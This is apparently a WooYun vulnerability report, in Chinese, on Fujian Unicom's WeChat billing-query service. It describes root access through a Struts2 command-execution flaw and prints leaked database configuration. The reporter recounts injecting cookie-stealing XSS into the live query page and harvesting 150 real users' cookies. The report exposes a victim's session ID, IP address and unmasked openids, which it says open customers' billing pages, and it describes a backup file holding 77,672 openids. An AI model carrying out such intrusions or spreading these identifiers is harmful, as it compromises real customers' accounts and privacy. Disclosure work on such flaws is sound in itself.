WooYun.org

福建联通的微信公众号有账户查询的功能（绑定手机号之后），看了一下显示信息的页面。
http://210.13.199.140/acc/accountQry.action?openid=******
命令执行，ST2-2010
Target: http://210.13.199.140/acc/accountQry.action
Whoami: root
WebPath: /home/imccweb/webapps/fjUnicom
OS.Name: Linux
OS.Version: 2.6.32-220.el6.x86_64
Java.Home: /usr/java/jdk1.6.0_37/jre
Java.Version: 1.6.0_37
OS.arch: amd64
User.Name: root
User.Home: /root
User.Dir: /home/imccweb/run/tomcat_server/bin
Java.Class.Path: /home/imccweb/run/tomcat_server/bin/bootstrap.jar
Java.IO.Tmpdir: /home/imccweb/run/tomcat_server/temp
#1敏感配置泄露
<!--###数据连接配置###
<db>
<admin>

<driverClass>oracle.jdbc.driver.OracleDriver</driverClass>
<url>jdbc:oracle:thin:@ (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.10.37)(PORT = ***)) ) (CONNECT_DATA = (SID = ORCL) ) )</url>
<username>u***1</username>
<password>p***31</password>

<driverClass>com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClass>
<url>jdbc:sqlserver://10.**.**.4:1433; DatabaseName=i**c;</url>
<username>i**c</username>
<password>i***19</password>
<hostTel>10000</hostTel>
</admin>
</db>
-->


<socketInfo>
<ip>1****91</ip>
<port>8587</port>
</socketInfo>
不列举太多配置信息了，证明即可
#2修改首页文件盗取cookie
/home/imccweb/webapps/fjUnicom/pages/bill/accountQry.jsp是查询页面的文件
其中插入XSS代码，半个小时有150条cookie
cookie内容：
location : http://210.13.199.140/acc/accountQry.action?openid=ofmG7uNF6baOpJ6MI0WbPjja2xU8
toplocation : http://210.13.199.140/acc/accountQry.action?openid=ofmG7uNF6baOpJ6MI0WbPjja2xU8
cookie : JSESSIONID=3DC1BC86D240E13A535AED3B7FDE42F9
opener :
HTTP_REFERER : http://210.13.199.140/acc/accountQry.action?openid=ofmG7uNF6baOpJ6MI0WbPjja2xU8
HTTP_USER_AGENT : Mozilla/5.0 (Linux; Android 4.4.2; LG-F240L Build/KOT49I.F240L20c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 MicroMessenger/5.4.0.51_r798589.480 NetType/3gnet
REMOTE_ADDR : 211.97.130.202, 211.97.130.202
http://210.13.199.140/acc/accountQry.action?openid=ofmG7uNF6baOpJ6MI0WbPjja2xU8
这个页面直接打开就是账单查询页面（同时有姓名、电话、余额、套餐详情、积分）

#3找到数据库备份文件
之前的描述可以看出，openid是一个很重要的参数，是用户身份的唯一证明参数。
然后，在/home/imccweb/webapps/fjUnicom/pages/下有1个1.txt
来看看内容,足足有77672条openid
update IM_SM_CUSTOMER t set t.cus_email='厦门' where t.OPENID='ofmG******UIls';
update IM_SM_CUSTOMER t set t.cus_email='漳州' where t.OPENID='ofm******5fslfk';
update IM_SM_CUSTOMER t set t.cus_email='福州' where t.OPENID='ofmG7************Jag0';
update IM_SM_CUSTOMER t set t.cus_email='厦门' where t.OPENID='ofmG7uP-6IvWC******hY';
update IM_SM_CUSTOMER t set t.cus_email='漳州' where t.OPENID='ofmG7u******NoHozM';
update IM_SM_CUSTOMER t set t.cus_email='漳州' where t.OPENID='ofmG******df4smg';
update IM_SM_CUSTOMER t set t.cus_email='福州' where t.OPENID='ofmG7uD0lgZLy5QKOTW94QvaJmZ4';
update IM_SM_CUSTOMER t set t.cus_email='泉州' where t.OPENID='ofmG7uFMo_Uvg-******aDJ8';
update IM_SM_CUSTOMER t set t.cus_email='泉州' where t.OPENID='ofmG******JgYjY';
update IM_SM_CUSTOMER t set t.cus_email='厦门' where t.OPENID='ofmG******PjA';
update IM_SM_CUSTOMER t set t.cus_email='宁德' where t.OPENID='ofmG******IXkejo';
update IM_SM_CUSTOMER t set t.cus_email='福州' where t.OPENID='ofmG7uF_O-cZ******00';